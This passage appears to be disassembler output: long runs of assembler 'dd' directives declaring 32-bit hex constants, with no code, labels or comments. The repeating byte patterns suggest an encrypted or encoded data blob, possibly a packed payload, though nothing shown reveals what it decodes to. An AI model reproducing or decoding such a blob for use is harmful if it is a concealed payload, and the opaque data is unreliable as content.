		dd 5EBA61B9h, 170576EAh, 9A4CA74h, 9C13137Dh, 6497042h
		dd 0DFAB3965h, 17671446h, 23A8FEAEh, 0E89B9908h, 0B7685B1Bh
		dd 19EBEA9Eh, 586F4A86h, 0E2CA8F9Fh, 6FE1B39Ch,	0D8C9953Fh
		dd 30DA15A5h, 499D81CBh, 0AEB1C506h, 0B20649FEh, 0AB446D3Eh
		dd 721946DFh, 0AAD90526h, 0C7B446DFh, 87D4A8B7h, 46DFAB5Eh
		dd 0A2084437h, 4186CBAEh, 672972D9h, 7B55A6A4h,	8435A82Bh
		dd 107CCF4Bh, 0BDCE9339h, 0CA75897Ch, 0FE8D51E2h, 0A60ABAC7h
		dd 8D91FBFEh, 4B8435A8h, 0AD6AF401h, 0B1C50649h, 4A8535A8h
		dd 4972BA0Eh, 88B0C601h, 22B70F4h, 0DB46DFABh, 49C0E430h
		dd 0A8B3C304h, 0D478035h, 149C5E5h, 7B0164C6h, 67B19A80h
		dd 49DFCF47h, 88B7C700h, 0D9247F20h, 3F797C9Fh,	627ED0BBh
		dd 0D33360B3h, 0C995A5F9h, 0EE1744D8h, 0C746DFAAh, 0AACFF8A3h
		dd 0F5A646DFh, 49D6D602h, 80B0C601h, 0C6014928h, 7FDFCFB0h
		dd 46DFD95Ch, 0C6014931h, 49D0D8B0h, 0D8B0C601h, 0C40749D0h
		dd 492088B2h, 1962C803h, 362F04F0h, 0F1F797Fh, 7492880h
		dd 0B9E266C4h, 46DFAB90h, 5C9D2065h, 0A87FAFE9h, 3E33EB23h
		dd 450B719h, 35A88393h,	0BCF4B84h, 0DFAB3760h, 0AA1D0E46h
		dd 0C78EE46Eh, 4C8735A8h, 10137DCEh, 46DFAD85h,	87D4A818h
		dd 46DFAB5Eh, 6DA6D237h, 61AB1EEDh, 0FB034408h,	0BEB92E9Fh
		dd 0D8E93DF0h, 9A5D6104h, 5D418B70h, 0D4DE23A8h, 0E197CED1h
		dd 7D49EB7h, 20520749h,	88E234E7h, 0C8034920h, 412088B6h
		dd 0F323A869h, 0C2FD268Bh, 1AD58B4h, 0C40749D4h, 0B1D4A8B2h
		dd 0C04BCF08h, 0DFAB84ADh, 66B25946h, 0D4A89AE2h, 0DFAB5E87h
		dd 8443746h, 87DE9921h,	0AE6B1C76h, 40FE0D7Bh, 23E1ACACh
		dd 483BEEC1h, 0FF8FE2h,	0FC80D0D4h, 1238F399h, 49BFEF29h
		dd 0CFB2C407h, 0B30749DFh, 6AE737C8h, 4659D8D8h, 46DEB11Dh
		dd 0DB7FB8C1h, 0BE711A70h, 0A8D0D868h, 0C1498235h, 913B1E7Ah
		dd 20884056h, 49014CA6h, 0AB3C6803h, 0AEC346DFh, 0B7F3DD1Eh
		dd 61E92252h, 0A8D7279Ah, 0A468135h, 4978ACh, 0DFAB3B67h
		dd 15691246h, 5850E2CAh, 490CC995h, 0AB3C6803h,	0E81346DFh
		dd 58884295h, 4CA215D1h, 0C995FEAEh, 0E23744D8h, 8C94DD70h
		dd 0C55F889Bh, 323646DEh, 0DEC54069h, 0B3661546h, 23A84559h
		dd 68BD576Ah, 0C506491Bh, 0A9D3C612h, 0F488186Eh, 0E430EB91h
		dd 8035A8C0h, 0E06AADD1h, 59A2A81Bh, 30691A7Fh,	527317BEh
		dd 0E8520593h, 0A5DF72E3h, 0A2EEC7BBh, 70F48882h, 0DFAB022Bh
		dd 0E430DB46h, 953676C0h, 12A5D8C9h, 8ECA31D9h,	0C803499Eh
		dd 94BDEE62h, 6946DFABh, 0D8565682h, 0C50649D0h, 91BAE165h
		dd 0B446DFABh, 0DFAABEE7h, 96E49746h, 887BABE5h, 0C5064920h
		dd 492088B1h, 7C514601h, 0B33EFE88h, 2088AEC0h,	35A84C5Ch
		dd 0F4014B84h, 649AD6Ah, 4D8B1C5h, 0BE9B5C61h, 0FE4DCD0Eh
		dd 3499292h, 0DFAB3C68h, 0CB8C346h, 0E1F4C151h,	0A24951BBh
		dd 0B236CA4Ch, 0DFAAC0E9h, 0AAE69546h, 0C506497Ah, 0A923A8B1h
		dd 57877C89h, 7CA80E4Ah, 0C9955D4Dh, 6803490Ch,	46DFAB3Ch
		dd 234C1F13h, 0FA46DFABh, 0AE485E11h, 0C50649FEh, 49D0D8B1h
		dd 0EF285E03h, 0D92DE06Bh, 0D4A82880h, 0DFAB5E87h, 8443746h
		dd 9C5E9921h, 0AB2A5318h, 180346DFh, 23A8E83Ch,	0AA38C9E5h
		dd 85ADE70Fh, 95EAC225h, 13A5D8C9h, 49A8FCD8h, 4E594803h
		dd 0E0322D94h, 1DD017BBh, 49DFCF09h, 0D8B6C803h, 0C40749D0h
		dd 0BA7D0366h, 3D61AB90h, 0EF91F488h, 9CBCE02Ch, 749ECBEh
		dd 0FEAEB2C4h, 3C8435A8h, 0DFAB466Fh, 0B96C1F46h, 0E64A7A5Fh
		dd 0DFAB8CB5h, 0C7BA6146h, 492088B7h, 88B2C407h, 0B723A820h
		dd 1BBC6A5Fh, 0AA1DDAE3h, 80470B6Eh, 87F4886Eh,	6FE94C36h
		dd 0D6D6021Fh, 4E1D9165h, 46DFAB25h, 0E53913F8h, 0A5D8C995h
		dd 0ADF1DB14h, 0B2C40749h, 0BCF623A8h, 0CA508F3Fh, 462C0E41h
		dd 6FBF0B45h, 478035A8h, 2ACEF90Dh, 0AADC0556h,	0CAB146DFh
		dd 35A89E8Eh, 7BC04A85h, 0F3943811h, 46DFAAC7h,	0B0D982A6h
		dd 8546DFAAh, 0C902B596h, 35A80016h, 77C44681h,	0A88BDB1Dh
		dd 0C4468135h, 883C1D77h, 0DFAAC3EFh, 49F19A46h, 8C316014h
		dd 68BC984Bh, 0C2A23A8h, 353CF2FDh, 82F57482h, 408C44C5h
		dd 749C2EAh, 790366C4h,	0CA5252BEh, 0B00049E2h,	0DFAAC2EBh
		dd 3DF09B46h, 0D116B81Dh, 0BDE6B549h, 9046DFAAh, 571B34EBh
		dd 0A8521821h, 0CF4B8435h, 0AB37600Bh, 1D0E46DFh, 0BD76EAAh
		dd 8535A8CEh, 652B0E4Ah, 0DFAAD602h, 2254A946h,	0AEDC32E5h
		dd 87D4A8FEh, 46DFAB5Eh, 21084437h, 1A9E5C9Fh, 0DFAB2851h
		dd 0C20EFD46h, 0A8E2CAE2h, 6D3E8235h, 46DFAB44h, 55BF7219h
		dd 7DE349B1h, 0CC9952Dh, 0B2C40749h, 5E87D4A8h,	3746DFABh
		dd 42C60844h, 0AB749DCEh, 0A24946DFh, 7493676h,	0D0D8B2C4h
		dd 4905179Ch, 0ED265207h, 2AAEE43Ah, 0AADC0556h, 0CAB146DFh
		dd 7499E8Eh, 2088B2C4h,	9BE1EF7Fh, 6F3F826Fh, 0A5D8C995h
		dd 0AEFEDA15h, 0B2C40749h, 749D0D8h, 0D4A8B2C4h, 0DFAB5E87h
		dd 8443746h, 46096CE0h,	0ADAD6A13h, 9C6FEB5Eh, 7496CB0h
		dd 0B9E266C4h, 46DFAB90h, 90EA2754h, 807DA1EBh,	0C4074928h
		dd 0C22880B2h, 0D8C995EAh, 0F1DB14A5h, 0C40749ADh, 0BC7B0366h
		dd 6EEC2B5Fh, 0CF73B39Dh, 0C20549DFh, 492088ACh, 88B7C700h
		dd 956F3F20h, 13A5D8C9h, 8FC932D8h, 87D4A89Fh, 46DFAB5Eh
		dd 3F683337h, 1646DFABh, 7366B265h, 88748A4Dh, 5C8E87F4h
		dd 51D5DEA1h, 0D4A82707h, 0DFAB5E87h, 8443746h,	107583F4h
		dd 6790DB6Dh, 3E46DFABh, 0B709A4Dh, 0A52FE2FCh,	3415C8A8h
		dd 76C54582h, 5490A1Ah
		dd 576558C2h, 170E7E9Ch, 386E2D4Bh, 490CC995h, 0A8B2C407h
		dd 0C1498235h, 62AA1E7Ah, 38640749h, 1746DFABh,	36CA1264h
		dd 6DED2A53h, 4972B29Eh, 0ED2E5E03h, 0DB2B9E6Dh, 413023A8h
		dd 0D609C2F5h, 14B9CD6h, 426A83ABh, 490CC995h, 0F8C8B307h
		dd 7099C29Dh, 4546DF38h, 0C14A6356h, 0AFD801AAh, 0FEAD46DEh
		dd 537C2F0Bh, 2A46DEB0h, 0E8141741h, 0C746DEAFh, 46C4D8A3h
		dd 0BB4AC4F9h, 0DF833F68h, 0B2651646h, 0A12AAE5Ch, 0AFA0D751h
		dd 76B6E2E7h, 0B2C40749h, 449D0D8h, 0C4209143h,	0BAE141C3h
		dd 46DF2891h, 91C4B764h, 0EFA7DB88h, 0BFCF82EAh, 5E87D4A8h
		dd 0E746DFABh, 0DFAB8BB4h, 61B96246h, 0F2BA5EBAh, 0E7B40449h
		dd 46DFAABEh, 0DD31E497h, 35A82088h, 5615C982h,	0AE17FB4Ch
		dd 0A0EC5FFBh, 0DF8A377Fh, 45654A46h, 490CC995h, 0A8B3C304h
		dd 3421E123h, 84C8C4EBh, 8174C743h, 49ABF357h, 80B3C304h
		dd 44074928h, 759E7C4Bh, 35493C83h, 77FF23A8h, 0DB285632h
		dd 975951F1h, 211AAEC3h, 0C995B7F7h, 0C304490Ch, 0B7700267h
		dd 0F479A144h, 0B19BFB26h, 49DFCF6Dh, 38124304h, 6F7EB845h
		dd 20886ABCh, 0A7F74F7Fh, 6F3F22CBh, 490CC995h,	0E8235504h
		dd 0D0269962h, 4A7F2088h, 2746E080h, 67C30449h,	5EBA7302h
		dd 49D0D84Eh, 0D8B3C304h, 0C30449D0h, 49D0D8B3h, 88B2C407h
		dd 47004920h, 39247089h, 0B1B96C72h, 0ED6DAADCh, 83A32B1Eh
		dd 2F2E7A46h, 0F488C1E5h, 0E32DEE91h, 87D4A8C3h, 46DFAB5Eh
		dd 0B5E64437h, 46DFAB8Ch, 7B5EBA61h, 0A87C9255h, 802C6D23h
		dd 4E812FCCh, 0F1DCCA95h, 0B058B413h, 839A7FE8h, 65F746E0h
		dd 0CC99545h, 25520749h, 0BC9D6EECh, 0E60D30Ch,	0EB9CD0D8h
		dd 0C70049D9h, 0CE961863h, 411F2E8Bh, 0FEAE1717h, 0B7C70049h
		dd 0EC7704D8h, 7F12DF21h, 658EDD1Dh, 3846DF56h,	0A8257953h
		dd 0C3478035h, 0AB335C0Fh, 610A46DFh, 477762AEh, 35A87688h
		dd 7CCF4B84h, 1764F810h, 3B6A1337h, 995E609Ah, 0F2D78A71h
		dd 3B000AC3h, 749CDD1h,	35E82152h, 492088E1h, 267C304h
		dd 485CB871h, 6492088h,	5B6045C5h, 0AB99C2E9h, 0BF6C46DFh
		dd 5CF14ECCh, 0EF3FE692h, 490CC995h, 0A8B2C407h, 0F498235h
		dd 14973BBh, 2088B0C6h,	0D4E4007Fh, 5499D5Ch, 0D78458C2h
		dd 46DFAAAEh, 6B79487h,	0CB4041C9h, 0E8BE1167h,	44D8C995h
		dd 0DFAAEE17h, 0F8D4C746h, 0C80349A4h, 94BDEE62h, 6946DFABh
		dd 88565682h, 2AED91F4h, 0CEFEDB20h, 7FE3C30Dh,	0F8CF27A8h
		dd 956F3FC5h, 1490CC9h,	0D0D8B0C6h, 5E87D4A8h, 3746DFABh
		dd 0C3891144h, 8AAC97A8h, 0E6216B4Eh, 49208890h, 0CAB2C407h
		dd 7D4F9CE2h, 0C9955850h, 0C407490Ch, 49FEAEB2h, 0BFE8B307h
		dd 9646DFAAh, 6E43B2E5h, 0A634C3AEh, 0D0D8A3F3h, 24540549h
		dd 0DC1C6FEBh, 0ACB9D1FCh, 0F6A58578h, 46DF84CDh, 0F608FBA0h
		dd 167F2088h, 6B702F02h, 47C30449h, 73975062h, 375F916h
		dd 0C995DEB0h, 0D611A5D8h, 23A8AAFAh, 0D7CA0BD7h, 6B4E8A40h
		dd 1D876225h, 38052E7Dh, 33D846DFh, 81A9CCC0h, 0D0D8B8CEh
		dd 5E87D4A8h, 3746DFABh, 9D210844h, 0F488445Ah,	2C2EE991h
		dd 0A8B1F5DFh, 0D478035h, 495D9A2Ch, 2B70F488h,	46DFAB02h
		dd 9999B0DBh, 0D3055E14h, 49F03460h, 88B7C700h,	0C6014920h
		dd 9E596144h, 37D30CBDh, 8DEA2352h, 324E2AB4h, 0CC995F2h
		dd 0ACC20549h, 4C8735A8h, 0B7137DCEh, 8335A867h, 1079C248h
		dd 5FACAE6Bh, 0B5720475h, 49288061h, 0E7205405h, 53A59863h
		dd 37E6467Dh, 0EE62C8BBh, 0DF1E94BDh, 56826946h, 99FC8056h
		dd 12C235F6h, 85345F54h, 49091D77h, 6144C601h, 0C7C9E59h
		dd 342F4915h, 0D8C99572h, 3F23F6B3h, 7FCC4E89h,	8BEEE60Ch
		dd 5495D41h, 0DFCFACC2h, 78C20549h, 13CA2013h, 2675448Fh
		dd 46DF50FDh, 1C782BD0h, 49208808h, 88B6C803h, 0A03E87F4h
		dd 7A5AB7F1h, 36760E1Eh, 490CC995h, 1378C205h, 0CF824E8Fh
		dd 56568276h, 0E47704D8h, 5BE3D781h, 72598229h,	7F2C46DFh
		dd 495C408Ch, 0A8ACC205h, 6B96B823h, 3460528Dh,	3499404h
		dd 2088B6C8h, 0D4A86F3Fh, 0E36608A7h, 0CADDB84Ah, 46DF16A1h
		dd 0B04D8774h, 549E92Eh, 710578C2h, 8B3194B6h, 8E41CA50h
		dd 35A86242h, 0B6144780h, 0FBC3EBEEh, 8E9E6AA6h, 64446444h
		dd 4A8535A8h, 0C12F1D0Eh, 490A46DFh, 88B7C700h,	0A8278720h
		dd 0DFAADA03h, 8848B346h, 7DBA25F8h, 0D8E43AEDh, 0E9167FD0h
		dd 496B46DFh, 88B3C304h, 0DA03A820h, 0B346DFAAh, 0AAC3ECBFh
		dd 0F19A46DFh, 0A893133Eh, 0CA0DB1D4h, 0AB749D8Eh, 344946DFh
		dd 75054683h, 0EF63C7BAh, 604FD8Ah, 0AAB9E235h,	9F8C46DFh
		dd 0D0D871B5h, 0EA9AFF83h, 0C1F2E731h, 0CBAE2208h, 72D94186h
		dd 0DFAAF61Fh, 0F0DCCF46h, 0A2A60008h, 590286A4h, 46DFAB30h
		dd 0EA3A1605h, 498235A8h, 0DA1E7AC1h, 0FC8FE991h, 40096C3Ch
		dd 5CB88387h, 0E69B5F4Ch, 9F218D1h, 2088DFCFh, 20882787h
		dd 0AADA03A8h, 0F48246DFh, 0DE2C1F3Bh, 23A8222Dh, 66CA67D7h
		dd 0CDD13B92h, 0ED91F488h, 49BEEE2Ah, 1863C700h, 0B7725C3Fh
		dd 0E1E7AFFh, 586104D8h, 44907B9Fh, 0C6014960h,	0DB23A8B0h
		dd 73B4D87Bh, 3A3164D7h, 0FF1B75A0h, 4907A7AFh,	5CEE4601h
		dd 0FB97A803h, 0D0D8F608h, 0B0C60149h, 1D70F488h, 3760B36Ch
		dd 0E46DFABh, 0A8F3331Dh, 0E4A8535h, 0DFAAF41Dh, 4565CD46h
		dd 490CC995h, 0D8B0C601h, 8335A8D0h, 9D2D0C48h,	0D2E598A2h
		dd 88EF3F19h, 0B1D4A820h, 0FE4DCD0Eh, 0DFAB82ABh, 64B05B46h
		dd 0DFAB1A43h, 549F746h, 536558C2h, 1A337298h, 97D72058h
		dd 490CC995h, 6A804601h, 0FDA234D9h, 0EB5E11CAh, 7704D89Bh
		dd 0A453A218h, 0B8A497B2h, 0BD5E6DDCh, 87A787D1h, 0B0FB7FF3h
		dd 46DFAB87h, 315AAD5Eh, 446DFABh, 4A3DFE81h, 20881E0Eh
		dd 5E87D4A8h, 3746DFABh, 99210844h, 0D94186C8h,	7AA3C872h
		dd 5346DFABh, 88A1F5A8h, 0A8278720h, 0DFAACE03h, 0BACCBF46h
		dd 468135A8h, 611277C4h, 8C9C6CA8h, 0C9460149h,	0F3B5601Ch
		dd 0FE1CDDEEh, 97E75A0Dh, 0B77704D8h, 429AEAE6h, 0A2E93D17h
		dd 0BED3A70Ah, 0C249D10Ah, 567F9696h, 2B46DFABh, 0C9954565h
		dd 0A70AA20Ch, 0AB567F07h, 9AFF46DFh, 202B2FE8h, 4C5CB0F4h
		dd 0A80CC995h, 0F4C8735h, 9250BC7Bh, 0C70049DAh, 0BC7D0E63h
		dd 20884C50h, 3A82787h,	46DFAADAh, 0D8B6C8B3h, 4907A7D0h
		dd 0EE295100h, 34AC9F6Ch, 4630F969h, 0D8EA3CEFh, 470049D0h
		dd 0AFB1047Eh, 3378C244h, 46DF5F0Ah, 0E54538E3h, 4C4D6796h
		dd 0B48DC039h, 0E05B6D29h, 88C3E32Dh, 2CEF91F4h, 0C1064B2Eh
		dd 44BFCD0Eh, 567F1408h, 2B46DFABh, 46C40749h, 71995E63h
		dd 21571B30h, 0D4A896D4h, 0DFAB5E87h, 0A4D23746h, 0A91CEF6Bh
		dd 0CF0CD66Fh, 0B7C70049h, 49D0D8h, 0F488B7C7h,	0AB022B70h
		dd 30DB46DFh, 869843FDh, 0C903346Eh, 0AB567FD5h, 5C2B46DFh
		dd 8535A84Ch, 117BC04Ah, 0A89D7AE4h, 0AB5E87D4h, 443746DFh
		dd 0DF982108h, 457299A9h, 6707598Ch, 0D837473Ah, 0C70049D0h
		dd 8235A8B7h, 0BC7D0049h, 87F0B850h, 0DA03A827h, 6346DFAAh
		dd 50BC7D0Eh, 8853A348h, 95694120h, 490CC9h, 0D0D8B7C7h
		dd 20882787h, 0B7C70049h, 2B70F488h, 46DFAB02h,	0C0E430DBh
		dd 0B3D8BD41h, 2D67D476h, 6923A8F9h, 221BAA2Ch,	29E0D338h
		dd 9DA8E4FFh, 278704D1h
		dd 0AADA03A8h, 0E6346DFh, 5555BF78h, 0DEE184A6h, 0C20EFD1Dh
		dd 7704D8E2h, 833616FBh, 9D5A6024h, 49BEEE2Ah, 0F02B5100h
		dd 6E21E6ABh, 0F377BFCCh, 27AB11BAh, 0DFAB4B74h, 86792246h
		dd 9FF93245h, 8720888Fh, 0DA03A827h, 0B346DFAAh, 2088B6C8h
		dd 0D4A86941h, 0DFAB5E87h, 1EDD1046h, 0D8239510h, 0E7E6D9C2h
		dd 6B73A13h, 0CB97AEEAh, 0C700490Eh, 8004D8B7h,	0DFAAB2DBh
		dd 0BBE08B46h, 0C249D116h, 499696h, 0F3863C7h, 0E646DFABh
		dd 88841A35h, 2FE891F4h, 0B0F4202Bh, 468135A8h,	49A0C40Ah
		dd 0EA2D5306h, 0D6289B60h, 27872088h, 0AADA03A8h, 0C8B346DFh
		dd 6104D8B6h, 8E7D9D5Eh, 4D7F6242h, 2046DFABh, 0B1C50649h
		dd 49D0D8h, 0D4A8B7C7h,	0DFAB5E87h, 8443746h, 0EF1F6CE0h
		dd 23F4228Ah, 8CD9C53Dh, 0E7D7A859h, 31D912A2h,	499E8ECAh
		dd 88B1C506h, 0A8367620h, 0C3478035h, 61BC2CF8h, 7D307361h
		dd 0A378FA13h, 63C70049h, 9BBF780Eh, 0E0539426h, 0D0D870B4h
		dd 2D88F387h, 0E8AFC056h, 0E71D4615h, 0BF046DEh, 88287C58h
		dd 0C5064920h, 91BAE165h, 6446DFABh, 0BFE8B3B7h, 9646DFAAh
		dd 0A87BABE5h, 0AB5E87D4h, 0DF1046DFh, 3D731238h, 0D53FEC3Eh
		dd 7A72575h, 0DFAB567Fh, 91652B46h, 9552781Dh, 4A738675h
		dd 2346DFABh, 3ED8C3F8h, 19CCF785h, 0C995EF3Fh,	0C923A80Ch
		dd 6BDFDC2Dh, 0ACF80652h, 0B7C70049h, 0EC91F488h, 0F0DC2F2Bh
		dd 0AB577FACh, 0DB2A46DFh, 0CC995D3h, 76DEF68Fh, 383FA47h
		dd 49AA0000h, 0A8B2C407h, 187D8523h, 0BD97D11Ah, 507F0D9Dh
		dd 2D46DFABh, 20882787h, 0D5D923A8h, 0F25D3FCCh, 0CA0DB3A6h
		dd 49D0D8B4h, 366C407h,	485CB87Fh, 7A72088h, 1D440749h
		dd 0F932465Ah, 8637D386h, 4D8C3D3h, 0C8EC9577h,	9EFAED27h
		dd 0C407498Eh, 87D4A8B2h, 46DFAB5Eh, 0E0084437h, 0AB567FB8h
		dd 652B46DFh, 8E23A845h, 9CC5963Ch, 7146DF99h, 6FAA578Ah
		dd 0D092ABE5h, 0C407490Bh, 0A8D0D8B2h, 0C3478035h, 0E214AFF8h
		dd 60D3295Eh, 78B3C534h, 7F208826h, 46DFAB56h, 0C205492Bh
		dd 9A556558h, 56183170h, 7864B9A2h, 8073EEBEh, 0D4A83777h
		dd 0B7CA0DB1h, 46DFAB8Eh, 0AD58B467h, 749D401h,	36E92252h
		dd 87D0D8E0h, 91F48827h, 212A30EBh, 749B7F7h, 525C1F44h
		dd 0FC7E1FB3h, 0DF7686AFh, 0F9AC5F46h, 0A82088A5h, 0C3478035h
		dd 0AAFC2578h, 2AD146DFh, 8236AB2Fh, 6BFAC149h,	0CAFCA68Dh
		dd 708FC2B5h, 65A8BBDCh, 0A86DB19Bh, 9FC50C23h,	6CA884E5h
		dd 1B8ABFECh, 0B86346DFh, 9708C9B2h, 40CA0DB1h,	9B9F88FBh
		dd 0D8A686D2h, 520749D0h, 14A2E720h, 19CC3FDBh,	0A2D0D805h
		dd 0C700490Ah, 0BC7D0E63h, 4363AD9Eh, 9C87F488h, 0B4584FDDh
		dd 7FE53913h, 0D07AD6E7h, 954C5CBAh, 490CC9h, 0D0D8B7C7h
		dd 0B7C70049h, 498235A8h, 1FD8ECC1h, 0E0C860ACh, 9DF123A8h
		dd 0B748E224h, 8F487C5Dh, 498236ABh, 0E1E7AC1h,	45652088h
		dd 0A80CC995h, 0A468135h, 4DA19E2Fh, 217704D8h,	0FB821C51h
		dd 0A8D9CD07h, 0AB5E87D4h, 333746DFh, 0DFAB3F68h, 0B2651646h
		dd 84F7366h, 6AF2D33Fh,	4254078Ah, 0EE7F2088h, 83E76A0Ah
		dd 0ACC20549h, 5E87D4A8h, 3746DFABh, 68B00844h,	0ACC20549h
		dd 4C8735A8h, 0E7137DCEh, 0B1D4A8B7h, 0C04BCF08h, 0DFAB84ADh
		dd 66B25946h, 43AEF045h, 74999DEh, 5D6346C4h, 0B22709Ah
		dd 0AA80D1A7h, 0AB8323A8h, 0C70ED816h, 68D377B0h, 0A25BB5h
		dd 0B7E08B0Fh, 8E46DEC4h, 4973B39Dh, 0A8ACC205h, 0AEDE8335h
		dd 0AB90BA6Dh, 0AAB3DC8Fh, 0E18A46DFh, 49CBD3B7h, 88ACC205h
		dd 8135A820h, 1D77C446h, 4AA8F40Ah, 0BD419F2Eh,	2771B6D8h
		dd 0CC99507h, 0ACC20549h, 549D0D8h, 2088ACC2h, 0C4F4E96Dh
		dd 0D8DDC10Bh, 9D5E6104h, 62428E7Dh, 5E87D4A8h,	3746DFABh
		dd 9D210844h, 0D4A8445Ah, 0B9CC0FB1h, 46DFAB90h, 0BE5AB665h
		dd 0DE189CEEh, 35D512BBh, 499A8AC6h, 6E43C700h,	2B7AE059h
		dd 0E6285012h, 0BF780F62h, 0C9955155h, 0C205490Ch, 49D0D8ACh
		dd 88ACC205h, 0AB537F20h, 612E46DFh, 0CC99549h,	52420549h
		dd 7C089F5h, 691A34D4h,	0D0D860B6h, 0ACC20549h,	35A82088h
		dd 190A4681h, 0F0A45A80h, 0C7004951h, 9F586E43h, 511D2A7Bh
		dd 9598CE27h, 35A80CC9h, 7DCE4C87h, 53942613h, 0CEFDE497h
		dd 71B83C30h, 0D0D80727h, 0B7C70049h, 1F87F488h, 0A3E7D20Bh
		dd 0C03B418Ah, 5499094h, 2088ACC2h, 0C9954565h,	0C700490Ch
		dd 8004D8B7h, 0DFAAB2DBh, 0ADE08B46h, 7DFE492Bh, 0C4D8341Eh
		dd 2C7FF387h, 46DFAB03h, 0C7E731DAh, 5492088h, 23A8ACC2h
		dd 4DC68FD3h, 50286487h, 15D6F99Ch, 7A7EB3Bh, 0DFAB567Fh
		dd 45652B46h, 0A20CC995h, 0C407490Ah, 8AD0D8B2h, 0CA7h
		dd 5C23A822h, 4C304F9Dh, 13B891FBh, 83170E56h, 1A4D001Ah
		dd 0E7E157A0h, 73F7AA3Ah, 1183ACFFh, 0B15A46DFh, 35A84767h
		dd 456E3D85h, 1846DFABh, 0B19A8073h, 0A8EBB367h, 0AB5E87D4h
		dd 443746DFh, 0AAE11708h, 0DBCC46DFh, 0D8C995D3h, 0AAEE1744h
		dd 0D4C746DFh, 0F68FA4F8h, 0CC4776DEh, 1DB5D2BFh, 0BE8B9C84h
		dd 8EBEF1A1h, 0BEE7B408h, 9746DF7Eh, 25E731E4h,	7D0h, 0B6C77F51h
		dd 49DA46DFh, 88ACC205h, 0A8278720h, 0DFAADA03h, 0B6C8B346h
		dd 0DB8004D8h, 46DFAAB2h, 70B4E08Bh, 478035A8h,	6B1378C3h
		dd 735DAEACh, 0C7FBD230h, 5498D04h, 0D0D8ACC2h,	17420549h
		dd 5CDE5A46h, 888EE053h, 8135A820h, 1D77C446h, 0DD93770Ah
		dd 45651A83h, 0A80CC995h, 14B8435h, 82376628h, 0E268AFD3h
		dd 57A4A619h, 0D0D892E4h, 0ECBF0349h, 46DFAAC3h, 0AAF8214Ah
		dd 0DECD46DFh, 1A6CDFCCh, 206523A8h, 0EBBDB6B8h, 86F589A1h
		dd 6941E1A8h, 85CBA8A0h, 781A73A6h, 0A8A383CDh,	0CB0CB1D4h
		dd 0DFAB8FB8h, 5BB56646h, 0C001D848h, 349BBFEh,	0D0D8B6C8h
		dd 0B6C80349h, 5A7F2088h, 371E25F1h, 0C9956941h, 0C803490Ch
		dd 0BE790F62h, 4D85252h, 0B09C5F61h, 0C700496Ch, 87F488B7h
		dd 9ECD9AE7h, 46DF3B75h, 0FA70A348h, 495DB7D7h,	6CDE23A8h
		dd 10B661D1h, 6281AFDDh, 0A1EBEC26h, 0B7C70048h, 4C5C2088h
		dd 0A80CC995h, 0A468135h, 4DA19E2Fh, 349D0D8h, 4D8B6C8h
		dd 7B9F5861h, 0C2054B90h, 23A89696h, 5943E550h,	0E9C00C7Ch
		dd 881767A0h, 0C2054920h, 8735A8ACh, 0C0E8004Ch, 0C9954565h
		dd 9723A80Ch, 5E840AA3h, 0F186F3DDh, 4D8E638h, 0ADE05B61h
		dd 0C2C2DD2Fh, 61458F47h, 781523A8h, 8D60D088h,	0E5265643h
		dd 7F208891h, 0E6459C27h, 0AE23A87Ah, 3BC24180h, 79D9360Dh
		dd 13B24D06h, 0DF091F48h, 5205F646h, 0AA6D1306h, 49D0D854h
		dd 88B7C700h, 2EE991F4h, 0CCFADF2Ch, 7FE53913h,	0E5BA06D9h
		dd 0E5985CB4h, 3FF881D0h, 137D301Bh, 8335A813h,	1F79C248h
		dd 499F7CE6h, 0D8B7C700h, 9B5C6104h, 496DB1h, 2088B7C7h
		dd 498235A8h, 0A19A2A0Fh, 6520884Dh, 0CC99545h,	0B7C70049h
		dd 3D8535A8h, 0DFAB456Eh, 80731846h, 0E367B19Ah, 5207499Bh
		dd 9D6EEC25h, 2088D42Ah, 498235A8h, 0A8FE1C0Fh,	49D9D5F8h
		dd 366C407h, 2F5EBB7Ch,	0B59F6CEEh, 7704D871h, 299FB5ACh
		dd 74A8E479h, 498235A8h, 0A19A2A0Fh, 1BD4E499h,	0DCC00CFFh
		dd 4A8535A8h, 9CC2EA0Eh, 14A4D91Fh, 0AAD6FFACh,	0FCAF46DFh
		dd 0DE3A0109h, 95E3CBCEh, 35A80CC9h, 2A0F4982h,	0D84DA19Ah
		dd 0C40749D0h
		dd 362E1566h, 0C668CB61h, 0AB9EB8CBh, 0E02C0079h, 7F2088BCh
		dd 0F704F6B9h, 0E25D6D00h, 65B99378h, 45C50649h, 7A0D5C60h
		dd 0FFB29981h, 71FD4A5Bh, 2A30EB91h, 0D1256E21h, 37D30CBCh
		dd 959488C4h, 7490CC9h,	0D0D8B2C4h, 0B2C40749h,	195423A8h
		dd 7D7FA247h, 7BD4A60Ah, 5DB771F4h, 537FEDBDh, 0FA46DFABh
		dd 1DAFF687h, 60D33822h, 0E7C711FAh, 0C9954961h, 0B307490Ch
		dd 0DFAABFE8h, 32E59646h, 6104D8DCh, 0FB7F9B5Ch, 0DFAB87B0h
		dd 0FAAD5E46h, 2E2CEF91h, 49B3F3DDh, 0CB1E4407h, 6CD12853h
		dd 0DEC5163Fh, 493CEF46h, 20888096h, 13C1927Fh,	34463B3Dh
		dd 0A8E457F3h, 0A8456574h, 0CE09B1D4h, 0DFAB92BBh, 0A4F76B46h
		dd 46DFAB7Bh, 9AF6A952h, 491AFF63h, 0D8B2C407h,	0C40749D0h
		dd 7F2088B2h, 46DFAB53h, 0C3566FAh, 0E146DFABh,	6CDF18ACh
		dd 4961FC20h, 888223A8h, 0D5C86215h, 3BE042FBh,	0B2C40749h
		dd 749D0D8h, 2088B2C4h,	4B8435A8h, 419D4C18h, 1B75FCBAh
		dd 1158E408h, 71067B36h, 5C485CB8h, 87D4A84Ch, 46DFAB5Eh
		dd 0FD084437h, 749A471h, 0D0D8B2C4h, 0B7C70049h, 7492088h
		dd 2088B2C4h, 0D4A84565h, 0DFAB5E87h, 0A3D23746h, 0A05DB76Ah
		dd 49D93Eh, 35A8B7C7h, 0F9C24883h, 85606E21h, 955508B7h
		dd 0DF9E9DC6h, 418B7046h, 749B1F9h, 4D8B2C4h, 7E9C5F61h
		dd 4963438Dh, 0E7205207h, 0D1259863h, 4C8735A8h, 4970B800h
		dd 1378C205h, 749AB6A7h, 0C3E32D7Ah, 0D4A8D0D8h, 0DFAB5E87h
		dd 8443746h, 4B5B9C21h,	478035A8h, 335C0FC3h, 0A46DFABh
		dd 0B662AE61h, 4907A7E6h, 0EA255504h, 0AAF21B40h, 20CB46DFh
		dd 23A8196Dh, 1D160783h, 0C0B894F2h, 0C50649B8h, 492088B1h
		dd 88ACC205h, 0B0AE7F20h, 49C3D3F6h, 0BDE6B505h, 9046DFAAh
